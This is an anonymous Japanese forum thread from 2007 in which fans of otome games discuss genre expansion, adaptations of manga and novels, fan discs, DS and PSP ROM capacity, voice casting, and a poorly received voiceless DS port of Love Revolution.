ふと、FF10-2が微妙に乙女に掠ってはいたのかもな、とか思ってしまった。
問題は本編をやっていないとさっぱりわからないってところか……。
SRPGにしてもRPGにしても、やっぱりADVに比べると
圧倒的に開発費が必要になっちゃうし、どこか大手が乗り出してくれない限り
難しいだろうね。作りたいという意欲だけじゃどうにもならなそうだ。
FF10-2はギャルゲだと散々な言われようだったな、そういえば
自分は乙女ゲもRPGも両方やるし、両方同じくらいすきなんだけど
乙女ゲをプレイするときと、RPGをプレイするときの視線が自分の中で違うようで
FF10-2の時は、ユウナとティーダの恋愛期待してたくせに、いざイチャラブされると
「RPGじゃないよ、こんなの」とか思ってしまった
だからFEやサモンに慣れた女性プレイヤーが、SRPGを第一目的にしているとすれば
恋愛要素強めだと うざいとか言われるのかな
>>800 確かにSRPGは開発費かかりそうだよね
コーエーの十八番だろうしネオロマなら可能性ありか?w
そういえばアンジェの三国志ネタって四コマにもあったな
でもRPGよりは開発費かからないとも話聞くから
RPG化よりは現実味あるかも
SRPGはAVGとの合体させても相性いいし
今ある戦闘つきAVGの中途半端なものより
面白いと思うけどな
SRPGもRPGも乙女ではいらないなあ
いくらでも良ゲがあるのに
わざわざ微妙な出来のを出されても困る
>>804 当然「微妙な出来」じゃないものを求めてるんだと思うんだが・・・
微妙な出来なら、乙女に限らずどんなゲームもいらんよ
乙女ゲで何ができるかの可能性の話で、個人のいるいらない論は激しくどうでもいいな
あ、確かにそうだ
どうやったら乙女ゲの市場が拡大するかを考えるためには
たとえ既存のジャンルで他の良ゲがあったとしても、そのジャンルを視野に入れて
議論するのも悪いことではないと思うよ
微妙じゃない出来のRPGやSLGを期待するには大手に頑張ってもらうしか無さそうだな
大手か
一応大手なはずの573とか微妙にやる気ないからな
あとは商魂逞しいだけか
個人的にはスタオ2のリメイクPSP版に期待したいところだが
大手が男女選択制のRPG・SRPGをもっと出してくれればなと思う
そこから派生させるような形(番外編とか)で女主人公ONLYで恋愛要素多の
作品を出すとかも有りじゃないかと
アトリエシリーズって貴重だったんだなと感じる
それなりに知名度のあるシリーズもので、乙女版みたいなのが出たら嬉しいね
大手ですら、最初はネームバリューに頼らないとリスクは大きいかもしれんし
そこからうまく軌道に乗れば、新シリーズで出しても売れるんじゃなかろうか
詳しくは知らないが、D3Pも最初はシンプルシリーズで出してたんじゃない?
そういや、リプルのたまごって元々はPC乙女ゲで出す予定だったんだよね
どういう経緯でD3から出すことになったか分からないけど
>>810 派生作品だと、元のゲームのファンが乙女ゲ化して作品汚すなとかってアンチ化しそうで怖い
まぁ、アンチがいようといまいと 作品楽しめるならそれでいいんだけどさ
>>814 そんなのいるかな?
むしろユアオフの時のように乙女ゲー界で知名度をあげてファンを増やそうとして
余計な反感を買いそう
>>814 それ以前にファンのアンチ化を恐れてメーカーが製作を避けそうだ
女性ファンを得ようとした結果既存ファンを大勢失ったら意味ないし
まあせいぜい世界観だけが同じで、遠く離れた国とかいう
設定のほうが無難じゃないだろうか
日本が舞台の現代ものだとちょっとつらいが
818 :
814:2007/10/18(木) 16:44:02 ID:???
>>816 そうだね
単純に数だけで考えても、圧倒的に女性ファン<<<既存ファンなんだろうし。
長く応援してくれた既存ファンを失ってまでやったら本末転倒だしね
既得ファンのアンチ化はありえるが
メーカーがそれを怖れて制作を避けることはないと思う
企業はつねに新規客の獲得を求めていくものだから
メリットが見込めるなら同時にある程度のリスクは覚悟の上でしょ
>>815 同属嫌悪かしらないけど、女オタに対する軽蔑っぷり根強いよ
>メリットが見込めるなら同時にある程度のリスクは覚悟の上
このリスクの高さが結構やっかいなんじゃないかと思う
現段階での乙女ゲの市場の小ささから考えると、リスクを犯してでも
やるに値するか否か、企業がどう判断するかだよね
自社で出版とかやってるとこは、ビジネスチャンスの1つになるんじゃないかな・・・
いまや派生が出すぎてよく分からんことになってるFFで乙女が出たとしても、
あまり違和感を感じなさそーだ
幻想水滸伝派生乙女なんか出た日には大荒れになりそうな予感
こういう話題になるとやはり思ってしまう。
あれだけの一般ゲーのノウハウを持ちながら、
何故、何故色モノに走ったバンナム…orz
>>822 確かにアレだけ色々出してたら、この際FF外伝ネオロマ伝説を出しても
どさくさにまぎれられる様な気がする。
ぶっちゃけ、内容はともかくあのグラフィックで乙女ゲは一度やってみたいもんだ
デュエル、なんだかんだいわれてっけど、
実際ゲームでないと正直なんともいえないと思うんだけどな
とはいえ、出るまでに散々言われて実際プレイしたらホントに悲惨だった
ってのが大半だけど
リーズとかリーズとかリーズとか!!!
そういや噂のデュエルって汗拭きばっか注目されるけど
それ以外のシステムってどうなってんだろ
単なるアドベンチャーなんだろか?
>>817 同じ国が舞台だけど時代が違うとか、同じ時代だけど、舞台になる国が遠く離れてるとか
批判を軽くかわせそうなのはいいね
どんな文句言われても
「これはパラレルであって、直接の関連はありません」と言い訳できる
>826
それは丁度DUELスレで語られてるな
肝心の所は発表されてないっぽい
大手はそこまでのリスクを負って、乙女ゲ層に媚を売らなくても
同じ手間をかけるなら、ナンバリングタイトルや
正式なシリーズものを出した方がよほど売れる
結果、参入してくるのは微妙なメーカーか
大手でも手抜きを出してくることになる
>>829 でもシリーズ物を出し続けて先細りってのもよく見かける
その先細りを解消しようとしてか新規開拓なのか女性ユーザー向けのネタを入れて
既存ユーザーに叩かれてるのを見る気もする
ヲタはともかく、ごく一般の男性ユーザーや
本来ターゲットとすべき年齢の男子(中〜高校生)は
やっぱり女主人公より普通に男主人公を好むんだよね
女主人公にすれば、その層は下手すればごっそり抜け、その分
えり好みが激しい乙女ユーザーが、その穴を埋めてくれるという確証がない
男女選択性にすれば、フラグ管理とシナリオが膨大になる
そうすると、なかなか思いきった真似が出来ないのが大手と言うものだ
少年主人公のほうが話が作りやすいというのもあると思う
極端な話、少年だとそのへんの一般庶民がいきなり冒険を
はじめたり、事件に巻き込まれてもあまり違和感がないが、
女性(少女)だと初期設定で姫とか女性騎士とかの属性を
つけないと話をはじめづらい
>>832 分かる気がする。しかも性別という圧倒的な差がある以上
その基本性能にもある程度、納得のいく説明が要る
>>833 同意。
そこらへんの女子高生がいきなり事件に巻き込まれて勇者になって
すごい攻撃力で剣振り回すとすれば、柔道の県チャンピオンとかの設定にせざるを得ない
>>834 それは某3のことですか
あれはやっぱり無理があったな
剣道部設定とか、神秘の力の籠った剣だからとか
異世界の人間しか操縦できないとか理由を付ければよかったのに
陽子さんはじょうゆうでごまかしてたね
>>836 あれは読んでいて設定にいろいろ頭をひねったんだろうなぁとしみじみしたよ
仙の自動翻訳機能とかw
あれはアンチ少女漫画的展開だったなぁ…
そういうタイプのもので作りこまれてるのが出てくればな…
また違ってくると思うのだけど
じょうゆう IN 陽子は納得がいく
しかも、陽子が自ら剣を握ろうと決意するまでの心情の動きがしっかり描かれてるから 余計納得
・・って、ゲームじゃなくて小説だけどさ
周りにマンセーされていなくてストイックで淡々とした主人公のものを
やってみたいんだが、「恋愛ゲー」とはあまり相性がよくなさそうだw
>>840 やってみたいなストイック主人公
探偵物や、復讐系の話なら相性良さそうだよ
胸きゅんって感じで無いけど、ハードボイルドな恋愛がみれそうだ
ライトノベルなんかを原作にしたゲームとかいいかもなぁ
ゲームはやらないけど小説は読むって子は多いだろうし、その小説のファンだからって事で
新規のお客さんになってくれるかも
ライトノベルは世に五万とあるし・・・質はピンキリだけど、世界観が良く練ってあるものも多いだろうし
良ネタはゴロゴロしてそうだと思う
本系からだと
7140円という平均価格がネックになるみたいだね
ラノベの内容をただ単純にゲーム化した作品なら7140円は高いだろうね
わざわざゲーム化した意味あるの?って言われないようにひとひねり
加えないといけないだろうし
原作主人公をそのまま使うか、別の主人公を作るかでもまた違いが出てくる
自分は、たとえば、同じ内容でフルボイス8000円・声なしで4000円だったら
声なしで4000円を買う
4000円でフルボイスならそのほうが嬉しいけど、
絵とテキストとBGMだけでもじゅうぶん楽しめるから、
開発につかえるお金が決まってるなら、内容にお金をつかってほしい
>>844 原作主人公を持ってくると、モロ個性ありヒロインになってしまうじゃない?
それがいいっていう派と、自己投影できないからヤダっていう派に分かれてしまうから
難しい問題だよね、その件に関しては散々上で議論してきたけれども
>>845 自分も内容重視だから、良作で半額なら声なし4000円買うけど
この業界では声オタの存在大きいと思うからなぁ
過去の原作ありゲー見てると
かなり相当な人気と知名度でもない限り
新規ユーザーは取り込めないように思う。
かといって、そこまでの人気作が乙女ゲー化するかっていう…
質の良し悪しは別にしても、テヌスの例とかもあるしね
最初冗談かと思ったもん、ジャンプの漫画が乙女ゲ化なんて
>>847 彩雲国あたり、乙女ゲー化されてもおかしくないと思うんだけどね。
原作ファンも声オタも釣れる気がするし。
その点、ママレと花男は時代先取りしすぎたな…
庭球はもともと女性ファンがたくさんいたからな
マネージャーとか女子テニス部員とか女主人公を無理なく
組み込める舞台設定だからというのも大きいと思う
キャラもいじりやすいのが多いし、ストーリーが少しはちゃめちゃでも
あの世界なら許されるような気がしなくもない
乙女ゲーム化するのにはうってつけの作品だったのかなと
一般ゲーだが、十二国記はゲーム化はしてるんだよなぁ
ただ、多くの例のごとく出来は今4つぐらいだった
彩雲国は一見乙女ゲーム化しやすそうだけど、実はそうともいえない
秀麗は恋愛よりも政治の道をとる子だからね
オリジナル主人公にしたとしても、男キャラのほとんどは秀麗贔屓だし
無理の無い設定付けが必要になってくる
彩雲国や十二国記にかかわらず、原作ありゲームは
オリジナル主人公・男女選択性・恋愛要素薄めの一般ゲーか
原作主人公で原作のストーリーに沿った内容(あるいは原作に
矛盾が出ないようなオリジナルストーリー)の一般ゲー
にするのが無難なのかもと自分は思う
原作付きゲーム、しかも人気作となると大抵の場合
主人公そのものも人気の場合が多いから、主人公変更すると
原作ファンは不愉快だったりするから難しいんだろうな
下手にオリ主なんか突っ込もうものなら、ただのドリーム小説もどきになるし
世界観をぶちこわすことになる
かといって主人公そのままだと、あまり原作を逸脱した展開は望めない
イコール原作にないキャラとの濃い恋愛要素はぶちこめない
乙女に限らず、原作付きでおもしろかったゲームってあまり記憶にないんだよな
しかも乙女の場合は
>>854の言う通り、恋愛要素を主軸にすると
色々設定を変えたりとかでてくる必要性もでてきたりする
一定のクオリティが保たれた原作付き乙女ゲーを作るには、
原作付き一般ゲームを作るより、はるかに難度が高いと思われる
原作者とゲーム会社が二人三脚で作っても難しいのかな。
ゲーム会社に丸投げするより一定のクオリティが保たれる気がするんだが…
まあ原作売れてるなら、ゲームシナリオ書くより小説書いてたほうが楽だし金になりそうだから無理か。
ハーレムビートが原作のゲームだったけど
原作者とコンマイが二人三脚で作ってたよ
筋肉を綺麗に描いて下さい、とか
でも原作者チェックが細かく入ったからこそ、恋愛要素が薄かったという罠
小説形式のシナリオ原案をゲーム会社が募集するというのは
どうかと一瞬思ったが、それこそ厨丸出しの小説モドキが大量に
送られてくるだろうから選考する人が気の毒だよな、と考え直したw
ラノベ系大賞の選考もそんな感じらしいね>厨丸出し小説もどき
ゲーム会社と原作者の二人三脚は
原作が現在進行形で人気のある作品だとスケジュール面で厳しそうだ。
遙かの漫画やアニメをそのまま乙女ゲー化すると
一部キャラとの恋愛は無理やり感が出るだろうし
メディア違う時点で、原作ファンも納得の違和感のない乙女ゲー化はとてつもなく困難なんでは?
原作に違和感ないとなると、ウテナのように
成就しないってパターンになるだろうし。
遙か1やコルダはもともとメディアミックスすることを前提に
作られたゲームだから、他の原作ありゲームとはちょっと違うんだけどな
遙かが最初漫画として存在して、その漫画をゲーム化しようとすれば
他の漫画や小説を原作として作られる乙女ゲームと同じように
無理が出てくるのは当然だと思う
そもそも原作有りの乙女ゲームはある意味パラレルなんだと
認識することが必要なんだろうなユーザーにしても原作ファンにしてもさ
課題大きいわりに、そこまで大きなメリットないような…
遙かはいつ終るか果てしもないし、コルダは非難も結構上がってるし
絵師に漫画をずっと続けさせるのはどうかと思うんだよなあ
新作や販促で酷使されてる現状もあるし
アンジェも完結した時にはヒロイン三代目だったしさ
ノンカプの短編か、さわりだけのショートでいいんじゃないの?
そもそも、プレイヤー次第で誰とくっつくか変化する乙女ゲーと
最終的には決まったひとりの相手とくっつくことが求められがちな少女漫画は
実は水と油なんじゃないかと個人的には思うんだが。
どう転んでもどこかから不満の声が上がりそう。
ある程度は客層が被ってそうだから、販促効果はあるんだろうけど。
けど、原作では「最終的には決まったひとりの相手とくっつくことが求められがち」だからこそ
ゲームではパラレルな世界で「他の誰かとくっついたら」が楽しめるんじゃないか?
安易に原作人気を当て込んで適当なゲームを作られてしまうのは問題外だけど、
要は原作ファンも納得のいくようなゲームを作れるか、でしょ。
異端かもしれないが、自分はアンジェの漫画から乙女ゲーの存在を知ったクチ。
漫画版だとランディとアンジェがくっついて、さらにアンジェが女王エンドで終わるんだけど
漫画のラストに満足しつつも、作中 他キャラとのフラグっぽいエピソードが幾度もあったから
後々 全員分のEDが用意されたゲームをプレイ出来てかなり楽しかった記憶がある。
でも、逆にゲームやった後に漫画を読んだ 非ランディファンは
漫画の展開にかなり辟易したと思われる
と考えると、やっぱり
>>864の言うとおり水と油説は正しいかもしれない
ゲームやった後に漫画読んだ非ランディファンだけど、
あれはあれで物語としてすごく出来がよかったと思ってるな
むしろ、こういうゲームでよくあそこまで綺麗にまとめたなと思った
まあやっぱり納得いくようなゲームなら問題ないかと思われる
でもその敷居は高い、と。
ランディファンじゃないけど、
身近な存在だし歳?も近いしフレンドリーなのもあって
そんなに違和感なかったな
急遽纏めに入ったなwってのは感じたけどw
まぁ、普段少女漫画読まないからなぁ
>遙、コルダ
個人的にはきちんとした話運びさえしてくれれば誰EDでも構わない派だけど
漫画板のスレ見てると私みたいなのは少数みたいでいつも揉めてたような
あんだけガーガー言われてたら気の毒になるよw
多方面へのメディア展開は色々と問題が出てくるよな
ゲーム内での設定がないがしろにされたりキャラ崩壊とかね…
いい意味でキャラの新たな一面を発見できたり、ゲーム内では接点の
ないキャラ同士が交流したりとか、キャラを平等に扱ってくれるような
ものなら大歓迎なんだが
ドラマCDとかたくさん出すよりも、この一本あれば十分だと言えるような
ファンディスクを出して欲しいと思う作品が結構ある
>この一本あれば十分だと言えるようなファンディスク
ってたとえばどんな内容のもの?
>この一本あれば十分だと言えるようなファンディスク
自分はFDいらない派だけど、元々のゲームできっちり満足させてくれた上で
ファンが心底「FD出して欲しい」と要望して その結果出たFDなら大歓迎。
でも、攻略出来そうで出来なかったキャラをちらつかせて、そのキャラで釣ってFD
とか続編とか出すのは本当やめてほしい
せっかくの本編での感動が台無しになる
FDかぁ
昔出たゲームが、ファンの熱い声に答えて満を持してFDを
ってのなら感慨深いけど
最近はファンの熱い要望の前に製作が決まってるようなFDばっかりだしな
まあFDも含めないと元が取れないのかもしれん
いいソフトを1本全力で作るより
ばらけて二度金使わせる商法はよくない
小分けにしても一本ずつの値段は一本分の金額
買うユーザーもかしこくない
ROM容量足りてなくて削られるってのもあるからなあ…
乙女じゃないが、本編もFDも容量ギリギリ(どっちも容量オーバーで削られた部分がある)で
それぞれ単体でも話が完結してる作品とかあったけど、あれはいいFDの例だったのかな?
>FDも含めないと元が取れないのかもしれん
それはもう企業としては終わってるとしか言いようがない
たとえば 世界観とストーリーが壮大すぎて
とてもソフト一本じゃ収まりきらないから 3部作に分けましたとか
元から複数に分けて販売することが決まっていたのなら理解できる
・・そういうのはFDとは言わないかもだけど。
ぶっちゃけ、ドラマCDとか他グッズ系より制作費がかかるだろうし
売れなかった時のリスクが大きいことが予想されるから
FD出すからと言って商魂たくましいとは思わないな。
ユーザーの少ない乙女ゲーなら、それくらいするだろうね。くらい。
本編が1本のゲームとして満足のいく出来だったらFDが出ても
構わないけど、そうじゃなかったりするからなあ
>>876 一般ゲーはともかく乙女ゲーは容量あまりまくり
DSぐらいなら容量制限を理由にできるがPS2でそれはない。
↓
参考資料・PS2版容量
FFX - 4.26GB
ときメモ3 - 4.36GB
乙女ゲ
ときメモGS - 4.23GB
コルダ1 - 2.30GB
コルダ2 - 1.95GB
遙か2 - 2.69GB
遙か3 - 2.90GB
遙か3十六夜 - 3.31GB
GSはEVSとアニメの質がいいから容量活用しきっているほうだ。
コルダは2と餡子を足しても遙かにも及ばないだろうね…
手抜きとまで言わないが、一つにできるものを分散して儲けているのはたしか。
DSでも容量不足なのは無理くり声入れるからだしな。
コルダ2 - 1.95GB
('A`)
>>883 遙か3 - 2.90GB
遙か3十六夜 - 3.31GB
つまり十六夜分は…
ヒィー(((゚Д゚)))ガタガタ
えらいことに気付いてしまったな
あああああ良かった
本当良かった
算数苦手だから引き算できなくて。 >十六夜の容量
GS2DSは新型の2GB大容量ROMを使うそうだ。
たぶんOPEDを削ってEVSも簡易ver.だろうが
新要素見るかぎり2GBめいっぱい使ってくるな。
他のゲームもめいっぱい作ろうよ…
ラブレボ!今からでも新イベント作るんだ!!
>>887の優しさと厳しさを前に涙が止まらなくなったw
・・・・・・・・・・・・ちなみに十六夜の値段は?
コルダはアンコの容量も気になるねw
アンコは過去のスチルもおまけで入っているから
容量水増しされているかも
十六夜は3無印のデータを全部入れたわけじゃないからな
………とはいえコルダ2には負けるだろうがw
>>888 × 2GB ○2Gb
※ 8B=b B(バイト)とb(ビット)
ラブレボは、ミニゲームいらんから新イベントが欲しかったな。
でも容量いっぱい使ってとは思わない。
恋愛ゲームとしてなら、容量いっぱい使っての移植のが珍しいし。
大手が入ってるからか、乙女ゲーユーザーって舌が肥えてるよね。
遙か2と遙か3の差はカニメの量?
>※ 8B=b B(バイト)とb(ビット)
それを説明するなら「 8ビット(8b)=1バイト(1B) 」と書かないと伝わりにくくないか?
GSマンセーの流れを豚切りだけどGSはEVSの容量があるんじゃね?
DSが2ギガって事はPS2もEVS覗けばその位かもよ
>>896 フイタw
あれ、すげえ破壊力だもんなあ・・・
ストーリーで盛り上がってたところにカニメかまして萎えさせまくりという最終兵器っぷりw
あれ?フルボイスじゃないのは容量が足りないからじゃなかったの?
でも大容量ロムでDS乙女ゲーのハードルが高くなってしまった気がする
金のあるコンマイはできるだろうが弱小の会社は比べられて気の毒だ
負け犬の遠吠えと言われるかもしれないけどナー
>>901 それはあるよね。
乙女ゲーはゲーム性が高いものを望めない…という話が以前出ていたけど、逆だと思う。
男性向けのような思い切ったシナリオが出にくく、
ノウハウがある大手が入ってる分、ゲーム性の高いものの方が期待できる環境だ。
まああれだ、肥と比較したいだけのGS厨は帰れ。
>>901 高いものらしいからね
コンマイは間然にDSにプラットフォームを移したように思う
比べてしまうけど肥はPSPに行ったら面白い
>>902 なんか突然、話の筋がおかしいぞ。大丈夫か?
>>903 コルダや遥かがPSPだから、そのつもりじゃないかな。
DSは、シナリオソフトとか、PS版アンデュの移植とかだから。
コルダは音楽とかあるから、そうやって、別路線でいいんじゃないのかな。
DSだと、大容量ロム使っても厳しいだろうし、圧縮すれば音質落ちるから。
>>901 今後、参入メーカーが増えてくる頃には、ロムの価格も下がりそう。
圧縮技術やプログラムも年々進歩しているらしいよ。
大手が分かれるのは面白いね
PSPも伸びてくる感じだし
新PSPは女性向な色も多いから、DSとそれぞれ住み分けできていくといいね。
白の旧PSPと、白DSLを持ってるけど、
新PSPの紫や大人っぽい方のピンクDSLに買い換えたくて仕方ない。
ゲームやCD買えなくなるから我慢してるけど。
DSLの買い取り価格、さすがに最近は下がっちゃったしさ。
タクヨーとか、PSPだよな
中小は、そっちの方が楽なのか
基本PS系だから、移植とかノウハウが蓄積されてるってこと?
大容量ロムの2Gビットはメモリ容量だよ。
ファイル容量は256MB。
DSはシステムを根本から変えなきゃだったりで大変そうっちゃ大変そうだし
やっぱ据え置き機と操作性がそう変わらないPSPのほうが楽なんでないかなあ。
またハードの話になってんのかw
ハードがなんであろうと、大事なのは内容でしょうが。
まあ同意だけど、今回は容量の限界を考えての話題だから
多少ニュアンスは違ってると思うけどね。
ふむ、今度のGS2DSは、最大容量ロムなのか
GSDSも、5229(税込)円と他のDSより高めだったから、
どれぐらいの価格を設定してくるのか
大手の価格設定は、他のメーカーにも影響を及ぼす
DSのADVは、3000円代の設定が多くなりつつある
中小メーカーは本体で開発費回収できなくて、
特典・グッズ・店舗別・完全版 などの商法に拍車がかかりそう
DSは大きな市場だけど
ただの移植となると、PSPにベタ移植より
DSへベタ移植の方が叩かれる傾向になっちゃったね
大容量ロムもだけど、技術的にどこの会社も同じ事が出来るとは限らないし
敷居が高くなったって気がする
それなら新作をDSで出す方がまだいいのかな
>>914 据え置きのベタ移植でも、画像やボイス、ムービーなどの面で
ゲームソフトの容量が大きくて劣化移植になりにくいPSPと、
容量面でどうしてもベタ移植しようとしても劣化してしまうDSとでは
やはり違ってくるんだろうね。
容量面での劣化を、DSならではの新要素追加などで
おぎなうことが当然とされるというか。
DSで新作もいいが、携帯アプリからDSへ……ならどうなんだろ。
携帯アプリのゲームを携帯ゲーム機にってのは
いいよねぇ
ただDSに移植した場合なにかDSらしい追加をしなきゃならないから
読み進めるタイプで手軽に遊べることを目的に作られたアプリゲーが
その追加をするかどうか
音声追加、シナリオ追加ならPS2の方が良いだろうしね
どっちかというと、雑談で出てたみたいにWiiやPSPのDL販売の方が
適してる気がする
そういやボイス機能を使う乙女ゲーってないよね、ギャルゲもだけど
やっぱりうまく認識できなかった場合興醒めするからだろうか
もしシーマンがイケメンキャラだったら・・・
短い単語なら問題ないけど
方言やら、ニュアンスとか
コミュニケーションとして使うのは無理だからじゃないか
それと、声を出してプレイすることは望まれて無いのを分かっているか
デュエルは試合の時に「がんばってー」とDSに叫ぶミニゲームがあるらしいよ
ある意味DSの機能フル活用なんじゃないだろうか、あのゲーム
>>917 何言ってるんだ、シーマンは王子様だよ?
>>893 いや、基本的に全部入ってるんじゃないの?
初めにディスク入れるのはチェックするだけでデータロードしてるわけじゃないはずだよ
>>918 活用はしてるかもしれんが、ゲームをする場所をどんどん
狭めているゲームだな
家族と住んでいたら、隣の部屋に聞こえそうでできねえわ
そうそう、だから同じシステムの無双猛将伝なんかは
シリーズによっては、無印ディスクなしでもディスクチェック通して
追加要素プレイが出来る改造コードなんかも発見されてるしね。
人気絵師・声優を可能な限り集めて
容量の限界ぎりぎりまで豊富なバリエーションのセリフと絵をぶち込んで
好きな組み合わせでスチル+音声再生できるソフトがあったら
それが「神乙女ゲー」の最終解答になってしまいそう。
もうそれしか望んでないような気がする。『一般的』な乙女ゲーマーは。
悲観的な意見ですまん
そうかも知れないね
何が求められているのかは読めないな
>>924 いっそそういうゲームを作ってもらいたいね
そんでもってプレイヤーの反応を見てみたい
もしそれが売れても売れなくても、乙女ゲーの発展には繋がると思うし
あんまり携帯機へ移植されたゲームってやった事がないのだが(コルダ・遥か・DSGSくらい)
今後の業界の動きはどうなるのかね。
ベタ移植+おまけムービーってよりは、GSみたいな新要素満載の方が嬉しいのだが
新要素を入れるのが当たり前になると、他メーカーが移植に踏み切りづらくなるような気がする。
ラブレボDSなんて完璧に劣化移植だしなぁ。
>>924 それはそれでそういう層からの需要はあると思うけど、
自分はそんなに惹かれないなぁ・・・
>>924 確かに全体的なクオリティは高くなるかもしれないけど、
それが最終的神ゲーとは限らないんじゃないかなぁ。
色んな制作会社があって、それぞれが持ち味や得意分野を持ってる訳でしょ?
ユーザーだってそれぞれ好みが全然違うわけだし。
自分の場合は、ストーリーさえしっかりしてれば、多少絵が汚かろうが
ロードが長かろうが、ボイスが付いてなかろうが 満足できると思う。
逆に声オタの子は、甘いボイスさえ聞ければいいって人もいるだろうし
私は
>>924みたいのって
乙女ゲツクール的な風にしか受け取れない人の方が多いと思う
各ユーザーの好みに合ったゲームなんて作れないんだから自分で作れという
皮肉と言うか自嘲のようなものであって、それが良いと言ってるわけじゃじゃないと思うが。
結局のところ声と絵が揃ってれば一定の売り上げは見込めるしね
こればかりは仕方ない
最近どのゲームでも似たような声優さんばかりなんで
オーディションで青田刈りっぽく新人を起用してくれないかな・・と思ってる
まぁ人気声優=実力を伴ってるので、聞いてる分には安心するし萌えもするんだけれど。
発売当時のコルダぐらいなら可能だろうけど
フェバみたいのはやらなそうだな
GS2は声優発表になった時点では、有名でお馴染みの人半分、
新人か乙女ゲに来たこと無い人半分、くらいだったような
同じ声優さんが揃うのは
旬だったり、乙女ウケしそうって理由があるだろうからいいんだけど
同じタイプやってるのは飽きたなぁ
火サスの犯人みたいで、あぁコイツが出るからこんなキャラかな
って分かっちゃうから新鮮味が無いんだよね
新鮮味かー
GSDSの保志は乙女ゲじゃ今までにないタイプやってたな
スクライドのカズマ系というか、中の人的には無い訳じゃないけど
違う引き出しを開けて欲しいってのはあるなあ
ラスエスの檜山も自分的にはちょっと新鮮だったなあ
まあ、ある程度有名どころが揃ってると、買う方としては安心感があるよね
「コイツが出るならやめとこう」とかさ
937の言うように、GS2くらいのバランスがちょうどいいのかも
クール系な関智とか熱血な井上和とか声優の引き出しをもっと活用して欲しいよ
そうすれば同じ人選でひろがりが出てくると思う
>>936 フェバは当時ほとんどが無名の人だったけど
その後売れっ子になった人が結構いたりして、今見ると凄いメンツだよね
さすがにここまで賭けみたいな事は今の乙女ゲーはしないだろうけど
引き出しといえばGS2若王子の森川はやられた。
森川本人も、ああいうキャラは初めてだったらしい
キャスティング力があるということか。
ビタミンの菅沼は以外だったな
他のゲームの印象があったから驚いた
ウィルオの中井もあの絵から想像したときは「エッ?」と思った
>>945 ウィルはあんま有名な声優が使われてなかったけど
逆にそれが新鮮だったな…
有名声優は演技は上手いけど
他乙女ゲキャラと被ると、どうも萎えてしまう……
>>928 ビーズログでのラブレボスタッフコメントはちょっと憐れだったなぁ
GS2が「ボイス量は1stLoveの3倍」とか言ってるのと同じ雑誌で「ボイスなし」って発表だもんな
使ってるROMが違うから比べられてもなあ
>>947 まさか同じ誌面で、あんな発表があるとは知らなかっただろうしね。
せめて、DSの一般的なフルプライス価格5040円じゃなくて、
1000円ほど安ければ、「 今回は"手軽"に そして"お安く" 」って
コンセプトにも、頷けたんだけどね。
ROMに金かけられないからっていう問題じゃないでそ。
GSDSが通常ROMであそこまでボイス入れて
ユーザーもそこを基準に考えてくるのに
ボイス総カット、新イベなし、新キャラ当然なし、新EDもなし
それで値段はGSDSと¥180しか違わないで
「気軽にラブレボをやってほしくて移植しました」ってねえ……
やる気がないだけじゃん?
発表が同じ雑誌だったものだから
余計に劣化って印象になったよなぁ
技術的にとかROM容量というより
フルボイスとしてセリフ収録してるから
削る再編集の手間を省いて声無しにしたんじゃないかな
なんにせよ、やる気のなさが如実に出ちゃった感じだな<ラブレボDS
フルボイスとはまではいかなくてもある程度ボイスが入ってれば
今ほど萎え意見が多くなかったかも知れんな
GS以外のDSの乙女ゲでもボイスが全然入ってないものなんて無いし
ラブレボDS、今年の夏くらいに発売できてたら、
「DSGSが初の乙女ゲーでした」みたいな新規を捕まえる事も出来てたんだろうなあ。
声なしは仕方ないにしても、新イベも新スチルもないんじゃやっぱり手抜き感があるよね。
リリース予定が増えてきたとはいえまだまだ携帯機乙女ゲーは数が少ないから
どうしてもGSシリーズと比べられてしまうだろうし、
他メーカーも「移植だから」と甘えずに頑張らないとなぁ。
ビタミンの移植はどんなんだろうか。
GSは色々すごいことがよくわかったよw
あちこちでw
>「DSGSが初の乙女ゲーでした」みたいな新規を捕まえる事も出来てたんだろうなあ。
いや、まさにその層へのアプローチなわけでしょ、ラブレボ移植
ただ内容がね…
たしかにGSDSは層を開拓したけど、それを拝借しようにもあの内容では。
ボイス全カットで、まさかムービーを残すつもりじゃないかと思うんだが。
ラブレボにムービーってあったっけ?
OPなかった?
これでDSGS2が5千円代でラブレボと同日の2/14発売だったりしたら
ラブレボはマジで涙目どころじゃないよな
なんでこんな手抜き移植に決めたんだろう
あったねえ。
某動画サイトでも他ジャンルキャラでのパロが作られたりして人気あるっぽいのが。
ホントに有り得るかもしれんね。>OPムービー入れ
さすがに5千円台はないと思うが
発売は無印より早そうだからありえるな。
ラブレボはまた、売れれば2出しますwなんて言ってしまったのが痛い
どうして普通に手をかけて移植しなかったのか…
ヒュネのゲームっていつもどれもそう、内容が手抜き感
OPないと価値半減のゲ−ムって印象<ラブレボ
だからって全ボイスと計りにかけてOPとるのはアホだよ
OPに力入れられても本編がgdgdだったら意味ないしな
期待されすぎて発売後にお通夜になるよりはいいんじゃないの?
なんだろうな…
以前PSPにコルダが移植されたとき新しいイベントで釣ってんじゃねーよ!
と思っていたが、あれだな、釣ってくれるうちはまだ華だな
移植は新ハードでプレイできるように、というサービスだと思ってるけど
流石にベタ移植だと買う気はしないよね
新スチルとまで言わないけど
移植だけのおまけ要素、本作の時に出た不満を解消
ぐらいはあって欲しい
確かに移植って新ハードでもプレイできるように、って事だとは思うけど
ある程度のおまけ的要素があるのが最近の流れな気がする
まあラブレボもメール機能かなんかで一応追加要素っぽいのがあるみたいだけどね
「ベタ移植+特典CD」って商法が乙女ゲーに定着するのだけは止めて欲しい
予約特典はショップ側が必要だと思ってるみたいだからなぁ
取り扱ってるところが一斉に止めるって流れにならない限り
無くならないんじゃないかな
>>959 ベタ移植だけに金もかからなそうだし
最初から大して売る気ないんじゃないか
追加要素と削った分から考えると、元々のファンからの購入はあまり見込めないだろうから、
DSしか持ってなくてPS2を購入する予定のないユーザー、
あるいはPS2は持ってるけどDSでしか乙女ゲしない(出来ない)層しかターゲットにならないし
GSDSで出来た新規のDS乙女ゲユーザーをとりこもうってことだろうが
内容があれだけ劣化だとなあ
そのわりにはネットでもあっちこっちに記事だしてるし
売る気ありそうだからわからん。
「 ベタ移植 」か。
マルチと考えると、ハードごとに出すなら、据え置き機なら、
あれこれ追加要素つけるな、完全版商法するな!って思う。
ハードごとに、ゲームを買いたくないと思うから。
なのに、据え置き機→携帯機 の場合は、
追加要素なくちゃ、って文句が出そうになるんだよね。
手軽で比較的安価な携帯機ソフトならメリットがあるから、
自分でも買いたいというのと、どうせ買うなら、
もっと何か追加要素がないと、って気持ちから。
我ながら、我侭勝手だなって思うんだけど。
